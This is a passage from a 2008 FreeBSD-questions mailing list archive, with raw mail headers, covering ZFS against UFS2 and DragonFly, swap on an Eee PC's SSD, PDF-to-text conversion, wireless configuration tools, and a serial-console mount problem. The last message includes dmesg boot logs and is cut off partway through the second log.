integrated and very solid under FreeBSD, I'm going to very happy and use it. But at this moment for production and for «small» FS I'm not really need ZFS. I think ZFS become indispensable when the FS continue to growing ... a fsck on > 4 To is very very long. When ZFS is stable ZFS >> UFS2 >> ext3 > UFS1 at this moment UFS2 >> ZFS > ext3 > UFS1 Regards. -- Albert SHIH SIO batiment 15 Observatoire de Paris Meudon 5 Place Jules Janssen 92195 Meudon Cedex Téléphone : 01 45 07 76 26 Heure local/Local time: Mar 2 déc 2008 22:25:20 CET From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 21:57:53 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C18D11065673 for ; Tue, 2 Dec 2008 21:57:53 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id E4CBD8FC08 for ; Tue, 2 Dec 2008 21:57:52 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2LvhmA016970; Tue, 2 Dec 2008 22:57:43 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2LvhQ8016967; Tue, 2 Dec 2008 22:57:43 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 22:57:43 +0100 (CET) From: Wojciech Puchar To: Peter Giessel In-Reply-To: <46703346351880256269680332892534375073-Webmail@me.com> Message-ID: <20081202225725.B16927@wojtek.tensor.gdynia.pl> References: <46703346351880256269680332892534375073-Webmail@me.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Dan , freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 21:57:53 -0000 > performance and 1.8 times higher than freebsd 4 UP performance." > > Please explain how DragonFly's lack of SMP affects the UP performance? doesn't affect of course. yes dragonflybsd is slower. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 21:58:39 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 101FD1065672 for ; Tue, 2 Dec 2008 21:58:39 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id B33CC8FC08 for ; Tue, 2 Dec 2008 21:58:37 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2LwSwj016977; Tue, 2 Dec 2008 22:58:28 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2LwSg8016974; Tue, 2 Dec 2008 22:58:28 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 22:58:28 +0100 (CET) From: Wojciech Puchar To: Albert Shih In-Reply-To: <20081202213750.GA58666@obspm.fr> Message-ID: <20081202225810.K16927@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <20081202213750.GA58666@obspm.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 21:58:39 -0000 > To come back to FreeBSD, I'm using FreeBSD since > 10 years, UFS is very > slow, and when UFS2 is release I'm very happy to switch to UFS2. simply turn on softupdates and turn off atime From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 21:59:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CF0B61065679 for ; Tue, 2 Dec 2008 21:59:04 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: from ourbrains.org (li48-221.members.linode.com [66.246.76.221]) by mx1.freebsd.org (Postfix) with SMTP id 631118FC0A for ; Tue, 2 Dec 2008 21:59:04 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: (qmail 20942 invoked by uid 1000); 2 Dec 2008 21:59:25 -0000 Date: Tue, 2 Dec 2008 16:59:25 -0500 From: Dan To: freebsd-questions@freebsd.org Message-ID: <20081202215925.GC19886@ourbrains.org> Mail-Followup-To: freebsd-questions@freebsd.org References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> <20081202190351.Q16084@wojtek.tensor.gdynia.pl> <20081202211113.GA19886@ourbrains.org> <20081202221411.W16797@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081202221411.W16797@wojtek.tensor.gdynia.pl> User-Agent: Mutt/1.5.18 (2008-05-17) Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 21:59:04 -0000 Wojciech Puchar(wojtek@wojtek.tensor.gdynia.pl)@2008.12.02 22:14:55 +0100: >>> >> >> That's a stupid benchmark. DragonFly doesn't have SMP support yet. > > my "benchmark" is to start it install programs i use commonly and compare > it to other system. > > on single-core machine i tested FreeBSD is faster. Good things come to those who wait. IMO the best thing about DragonFly is what and how you can build on top of it. Compared to other BSDs it has a rewritten kernel, and this work continues. It will be much easier to build clustering on top of this kernel. HAMMER already supports replication, and from following this list I know some people want this feature like yesterday. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 22:04:26 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E1E071065675 for ; Tue, 2 Dec 2008 22:04:26 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: from ourbrains.org (li48-221.members.linode.com [66.246.76.221]) by mx1.freebsd.org (Postfix) with SMTP id 766598FC17 for ; Tue, 2 Dec 2008 22:04:26 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: (qmail 20965 invoked by uid 1000); 2 Dec 2008 22:04:47 -0000 Date: Tue, 2 Dec 2008 17:04:47 -0500 From: Dan To: freebsd-questions@freebsd.org Message-ID: <20081202220447.GD19886@ourbrains.org> Mail-Followup-To: freebsd-questions@freebsd.org References: <46703346351880256269680332892534375073-Webmail@me.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <46703346351880256269680332892534375073-Webmail@me.com> User-Agent: Mutt/1.5.18 (2008-05-17) Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 22:04:27 -0000 Peter Giessel(pgiessel@mac.com)@2008.12.02 12:22:09 -0900: > Please explain how DragonFly's lack of SMP affects the UP performance? > > Also, from an end user perspective, you can hardly get a computer > these days that only has one core. SMP performance is very relevant > from that perspective. So it is slower now, but it's just a matter of resources. Once someone takes on the SMP it will get there. DragonFly is a small project vs. FreeBSD. It needs developers. Also FreeBSD doesn't seem to care for clustering. While significant work has been done in DragonFly to build single image clustering on top. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 22:57:45 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F09FF1065670 for ; Tue, 2 Dec 2008 22:57:45 +0000 (UTC) (envelope-from fbsd06+4H=1ee849ff@mlists.homeunix.com) Received: from fallback-in1.mxes.net (fallback-out1.mxes.net [216.86.168.190]) by mx1.freebsd.org (Postfix) with ESMTP id BD2D68FC14 for ; Tue, 2 Dec 2008 22:57:45 +0000 (UTC) (envelope-from fbsd06+4H=1ee849ff@mlists.homeunix.com) Received: from mxout-03.mxes.net (mxout-03.mxes.net [216.86.168.178]) by fallback-in1.mxes.net (Postfix) with ESMTP id 8FBFC1646FE for ; Tue, 2 Dec 2008 17:46:44 -0500 (EST) Received: from gumby.homeunix.com (unknown [87.81.140.128]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp.mxes.net (Postfix) with ESMTP id 1DDCE23E49F for ; Tue, 2 Dec 2008 17:46:42 -0500 (EST) Date: Tue, 2 Dec 2008 22:46:40 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20081202224640.4203c195@gumby.homeunix.com> In-Reply-To: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> References: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Swapping to MMC (Was: To swap or not to swap) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 22:57:46 -0000 On Tue, 2 Dec 2008 20:47:26 +0000 "Anthony M. Rasat" wrote: > Pros: 1) System requires swap. Period. 2) Swap may need size in range > between 2.17 times to 2.22 time or whatever size it need. This is not > prohibited by Eee's SSD size (4GB btw, 701 series). Add what swap you need, but in my experience things get pretty slow before you even reach 1x system memory on hard disks. AFAIK the 2x figure is to do with saving kernel dumps, which you probably don't want to bother with. > > Cons: 1) Since SSD is manufactured have limited lifetime (around > 100,000 times write operation or so, I read it somewhere), swapping > to SSD is more likely not a wise thing to do. I don't think it's much of a problem with modern wear-levelling. It's 100,000 writes per block with the writes being spread evenly over the device (albeit with extra write for the wear-levelling). There are few writes to swap until you run low on memory, so simply having swap wont by itself wear out the device. > Two against one. I concurr that swap is needed. However since SSD in > 701 series is not removable, having a bad sector in SSD is one thing > you don't want to have. I would think they have spare sectors like hard disks do. > performances? And what happened if FreeBSD kernel suddenly lose its > swap file by absent-minded human? Is it going to be just angry or > having massive heart attack? I'm not sure whether an active swap file can be deleted or not, but it would be owned by root, so not deletable by a normal user. I suspect that it would behave like an open file and not be genuinely deleted until swapoff'ed. In any case it's not more of a risk than deleting any critical file. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 23:40:30 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7D7611065670 for ; Tue, 2 Dec 2008 23:40:30 +0000 (UTC) (envelope-from kitchetech@gmail.com) Received: from fk-out-0910.google.com (fk-out-0910.google.com [209.85.128.190]) by mx1.freebsd.org (Postfix) with ESMTP id 041588FC23 for ; Tue, 2 Dec 2008 23:40:29 +0000 (UTC) (envelope-from kitchetech@gmail.com) Received: by fk-out-0910.google.com with SMTP id k31so2841214fkk.11 for ; Tue, 02 Dec 2008 15:40:28 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=QcaGMGOpOk3ywEAuq7TFbvC7AO9WdJu8/kR1lEAOkFs=; b=eY+rSDkYDpnN/sT89rALM2HGoBQwLXhZnLNpJejSBK6bT9y9M4TRkE5OSOq+F+qjRn Sb83VRov7AFD8/PAIslhKe1l85/jxqFLaKKZ1AVjOxgWld2hZeIb5IZ1RgEHiCOZTRLj vZAO8UXKmoMMV8AOsPd48/gVM1bJLUQjnnuCo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=bSsyM/Z5p00/Gve2S3gUv+b3g9rrE4XpVpuYqI6LdFDEanqN0PTxaURlRVrNTiFHgV 08jbm1ZwkvlxR/37vdDoDFe22WRoxw5Upj/Ozycud+iFi2F9SzZ96imPuYVq+sYdEyC7 NJVn8JP6JVYWsrJzo34vd+msIWmQUn5TGmuZU= Received: by 10.180.224.13 with SMTP id w13mr4436062bkg.40.1228261228456; Tue, 02 Dec 2008 15:40:28 -0800 (PST) Received: by 10.181.31.13 with HTTP; Tue, 2 Dec 2008 15:40:28 -0800 (PST) Message-ID: <28283d910812021540q712ec8abrd52183c96621f132@mail.gmail.com> Date: Tue, 2 Dec 2008 18:40:28 -0500 From: "matt donovan" To: Ghirai In-Reply-To: <20081202164854.3445cbcb.ghirai@ghirai.com> MIME-Version: 1.0 References: <20081202164854.3445cbcb.ghirai@ghirai.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: stand-alone GTK2 wlan config tool? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 23:40:30 -0000 On Tue, Dec 2, 2008 at 9:48 AM, Ghirai wrote: > Hello list, > > Are there any stand-alone, GTK2, wlan config apps out there (basic > stuff, like viewing available networks, setting wpa key, connecting, > etc.)? > > I'm using xfce, and the wlan plugin thingie can only show the signal > strength, assuming i'm already connected. > > Thanks. > > -- > Regards, > Ghirai. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" hmm not sure since many of the programs hook into iwconfig instead of ifconfig. for wireless since they work mainly on Linux only from the programs that I am thinking of. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 00:00:07 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 176411065672 for ; Wed, 3 Dec 2008 00:00:07 +0000 (UTC) (envelope-from kline@thought.org) Received: from aristotle.thought.org (ns1.thought.org [209.180.213.210]) by mx1.freebsd.org (Postfix) with ESMTP id AE6DE8FC13 for ; Wed, 3 Dec 2008 00:00:06 +0000 (UTC) (envelope-from kline@thought.org) Received: from thought.org (tao.thought.org [10.47.0.250]) (authenticated bits=0) by aristotle.thought.org (8.14.2/8.14.2) with ESMTP id mB300WXD067764; Tue, 2 Dec 2008 16:00:32 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1002 kline@thought.org; Tue, 2 Dec 2008 15:59:59 -0800 (PST) Date: Tue, 2 Dec 2008 15:59:59 -0800 From: Gary Kline To: Roland Smith Message-ID: <20081202235959.GB63279@thought.org> References: <20081201231440.GA30682@thought.org> <20081202010730.GA15970@slackbox.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081202010730.GA15970@slackbox.xs4all.nl> User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 22 years of service to the Unix community. X-Spam-Status: No, score=-4.4 required=3.6 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.3 X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on aristotle.thought.org Cc: FreeBSD Mailing List Subject: Re: any way to turn a pdf file into something OCR-able? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 00:00:07 -0000 On Tue, Dec 02, 2008 at 02:07:30AM +0100, Roland Smith wrote: > On Mon, Dec 01, 2008 at 03:14:43PM -0800, Gary Kline wrote: > > pdftotext fail on the large [32MB] file I've got. Is there any > > other way I can translate this huge textfile to ascii or html or > > text? > > Please define "fail" in this context? I've used pdftotxt on documents > exceeding 40MB. However there are of course things that don't work; > > 1) Some PDFs are just wrappers around JPEG images. In this case there is > no text for pdftotext to convert => epic fail. > > 2) If the text contains ligatures etc. you should use the proper > encoding that contains such characters (e.g. '-enc UTF-8') or you will > loose them. > > 3) Things like equations will not render well, if at all. This also > depends on the encoding. It probably was a pdf wrapped around a jpeg. I was able to to another pdf to plaintext in a flash. (*sigh*) it wasn't a total waste of time because I found the entire text transfered to buugy ASCII somewhere [[ thanks to some prof ]]. So, if I ever want to run aspell against a 900-page file, at least I have that option! gary > > Roland > -- > R.F.Smith http://www.xs4all.nl/~rsmith/ > [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] > pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org Flash: The alpha release of Jottings is available: http://jottings.thought.org/index.php From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 00:04:00 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A9EC2106564A for ; Wed, 3 Dec 2008 00:04:00 +0000 (UTC) (envelope-from lijimlee@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.154]) by mx1.freebsd.org (Postfix) with ESMTP id D34738FC12 for ; Wed, 3 Dec 2008 00:03:59 +0000 (UTC) (envelope-from lijimlee@gmail.com) Received: by fg-out-1718.google.com with SMTP id l26so2378990fgb.35 for ; Tue, 02 Dec 2008 16:03:58 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=t9UHMLp0+QyZMRvEgm6+KOShpU8hwCAww/8BsPsFFys=; b=rxZ64XKzFuRAwf8FOVy/P1lrIDBreITKuwXzNPGrzwENL6jlfo378VxrVc4scLmk07 XKFNcQxqcez93c0Oe9yGgvW/w/GUfrH4jHTEJHn5Yw0ExggYar4YIELJaKnHmlsfg9ce /obXh5QKzJivKuGAlmaVUgphSYkkoZeWBLFRs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=nXfwq8QLfYRlVPwLqdmIMDxi6dbrtkB3SeP2YkG/Pq+EyruarICwIcADc2NeDTpnHF 9mH5S5W/2hytFD4xEKqGfo6QJTBJ1s79EVJU22f7JveuAGCdZhM74KmGKTusKXrsgF5f HeFkgaAMDfZpcfB62k0kdAEu7m3GnrSanBjbI= Received: by 10.86.52.6 with SMTP id z6mr527961fgz.20.1228262638195; Tue, 02 Dec 2008 16:03:58 -0800 (PST) Received: by 10.86.90.3 with HTTP; Tue, 2 Dec 2008 16:03:58 -0800 (PST) Message-ID: <8fd8f02c0812021603y4d6f2f7ehdac338c5f01e4cc9@mail.gmail.com> Date: Tue, 2 Dec 2008 16:03:58 -0800 From: Ji To: Mel In-Reply-To: <200812020910.38815.fbsd.questions@rachie.is-a-geek.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> <200812020826.21345.fbsd.questions@rachie.is-a-geek.net> <8fd8f02c0812012352y6b4aca89v6d7b1355c3ab95f@mail.gmail.com> <200812020910.38815.fbsd.questions@rachie.is-a-geek.net> Cc: freebsd-questions@freebsd.org Subject: Re: mount problem after enabling serial console X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 00:04:00 -0000 Thank you again, Mel. I could not find BIOS has an "Enhanced" or "AHCI" setting for the disk controllers. Also attached please find the booting message without serial enabled and with serial enabled. (The kernel configuration file is the original GENERIC for FBSD7 amd64) =============== dmesg without enabling serial console =================== Copyright (c) 1992-2008 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-RELEASE #0: Sun Feb 24 10:35:36 UTC 2008 root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Xeon(R) CPU E3110 @ 3.00GHz (3000.23-MHz K8-class CPU) Origin = "GenuineIntel" Id = 0x10676 Stepping = 6 Features=0xbfebfbff Features2=0x8e3fd> AMD Features=0x20100800 AMD Features2=0x1 Cores per package: 2 usable memory = 2133360640 (2034 MB) avail memory = 2058694656 (1963 MB) ACPI APIC Table: FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs cpu0 (BSP): APIC ID: 0 cpu1 (AP): APIC ID: 1 ioapic0: Changing APIC ID to 2 ioapic0 irqs 0-23 on motherboard kbd1 at kbdmux0 ath_hal: 0.9.20.3 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413) hptrr: HPT RocketRAID controller driver v1.1 (Feb 24 2008 10:34:18) acpi0: on motherboard acpi0: [ITHREAD] acpi0: Power Button (fixed) Timecounter "ACPI-fast" frequency 3579545 Hz quality 1000 acpi_timer0: <24-bit timer at 3.579545MHz> port 0x808-0x80b on acpi0 acpi_hpet0: iomem 0xfed00000-0xfed003ff on acpi0 Timecounter "HPET" frequency 14318180 Hz quality 900 cpu0: on acpi0 est0: on cpu0 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est0 attach returned 6 p4tcc0: on cpu0 cpu1: on acpi0 est1: on cpu1 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est1 attach returned 6 p4tcc1: on cpu1 pcib0: port 0xcf8-0xcff on acpi0 pci0: on pcib0 pcib1: irq 16 at device 1.0 on pci0 pci1: on pcib1 em0: port 0xece0-0xecff mem 0xdfbc0000-0xdfbdffff,0xdfbe0000-0xdfbfffff irq 16 at device 0.0 on pci1 em0: Using MSI interrupt em0: Ethernet address: 00:15:17:37:11:06 em0: [FILTER] pcib2: irq 16 at device 28.0 on pci0 pci2: on pcib2 em1: port 0xdce0-0xdcff mem 0xdfcc0000-0xdfcdffff,0xdfce0000-0xdfcfffff irq 16 at device 0.0 on pci2 em1: Using MSI interrupt em1: Ethernet address: 00:15:17:36:19:d4 em1: [FILTER] pcib3: irq 16 at device 28.4 on pci0 pci3: on pcib3 bge0: mem 0xdfdf0000-0xdfdfffff irq 16 at device 0.0 on pci3 miibus0: on bge0 brgphy0: PHY 1 on miibus0 brgphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, 1000baseT, 1000baseT-FDX, auto bge0: Ethernet address: 00:1e:c9:ff:58:48 bge0: [ITHREAD] pcib4: irq 17 at device 28.5 on pci0 pci4: on pcib4 bge1: mem 0xdfef0000-0xdfefffff irq 17 at device 0.0 on pci4 miibus1: on bge1 brgphy1: PHY 1 on miibus1 brgphy1: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, 1000baseT, 1000baseT-FDX, auto bge1: Ethernet address: 00:1e:c9:ff:58:49 bge1: [ITHREAD] uhci0: port 0xbc60-0xbc7f irq 21 at device 29.0 on pci0 uhci0: [GIANT-LOCKED] uhci0: [ITHREAD] usb0: on uhci0 usb0: USB revision 1.0 uhub0: on usb0 uhub0: 2 ports with 2 removable, self powered uhci1: port 0xbc80-0xbc9f irq 20 at device 29.1 on pci0 uhci1: [GIANT-LOCKED] uhci1: [ITHREAD] usb1: on uhci1 usb1: USB revision 1.0 uhub1: on usb1 uhub1: 2 ports with 2 removable, self powered uhci2: port 0xbca0-0xbcbf irq 21 at device 29.2 on pci0 uhci2: [GIANT-LOCKED] uhci2: [ITHREAD] usb2: on uhci2 usb2: USB revision 1.0 uhub2: on usb2 uhub2: 2 ports with 2 removable, self powered ehci0: mem 0xdfaffc00-0xdfafffff irq 21 at device 29.7 on pci0 ehci0: [GIANT-LOCKED] ehci0: [ITHREAD] usb3: EHCI version 1.0 usb3: companion controllers, 2 ports each: usb0 usb1 usb2 usb3: on ehci0 usb3: USB revision 2.0 uhub3: on usb3 uhub3: 6 ports with 6 removable, self powered umass0: on uhub3 uhub4: on uhub3 uhub4: multiple transaction translators uhub4: 4 ports with 4 removable, self powered pcib5: at device 30.0 on pci0 pci5: on pcib5 vgapci0: port 0xcc00-0xccff mem 0xd0000000-0xd7ffffff,0xdfff0000-0xdfffffff irq 19 at device 5.0 on pci5 isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc50-0xbc5f irq 23 at device 31.2 on pci0 atapci0: [ITHREAD] ata2: on atapci0 ata2: [ITHREAD] ata3: on atapci0 ata3: [ITHREAD] fdc0: port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on acpi0 fdc0: does not respond device_attach: fdc0 attach returned 6 sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: <16550A-compatible COM port> port 0x3f8-0x3ff irq 4 flags 0x10 on acpi0 sio0: type 16550A sio0: [FILTER] sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled atkbdc0: port 0x60,0x64 irq 1 on acpi0 atkbd0: irq 1 on atkbdc0 kbd0 at atkbd0 atkbd0: [GIANT-LOCKED] atkbd0: [ITHREAD] fdc0: port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on acpi0 fdc0: does not respond device_attach: fdc0 attach returned 6 sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled orm0: at iomem 0xc0000-0xc8fff,0xc9000-0xc9fff,0xca000-0xcb7ff,0xec000-0xeffff on isa0 ppc0: cannot reserve I/O port range sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Timecounters tick every 1.000 msec hptrr: no controller detected. ad4: 76293MB at ata2-master SATA300 SMP: AP CPU #1 Launched! cd0 at umass-sim0 bus 0 target 0 lun 0 cd0: Removable CD-ROM SCSI-0 device cd0: 40.000MB/s transfers cd0: Attempt to query device size failed: NOT READY, Medium not present Trying to mount root from ufs:/dev/ad4s1a ========problematic booting After enabling serial (copied from serial console)============== Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-RELEASE #0: Sun Feb 24 10:35:36 UTC 2008 root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Xeon(R) CPU E3110 @ 3.00GHz (3000.22-MHz K8-class CPU) Origin = "GenuineIntel" Id = 0x10676 Stepping = 6 Features=0xbfebfbff Features2=0x8e3fd> AMD Features=0x20100800 AMD Features2=0x1 Cores per package: 2 usable memory = 2133360640 (2034 MB) avail memory = 2058747904 (1963 MB) kbd1 at kbdmux0 ath_hal: 0.9.20.3 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413) hptrr: HPT RocketRAID controller driver v1.1 (Feb 24 2008 10:34:18) cpu0 on motherboard est0: on cpu0 est: CPU 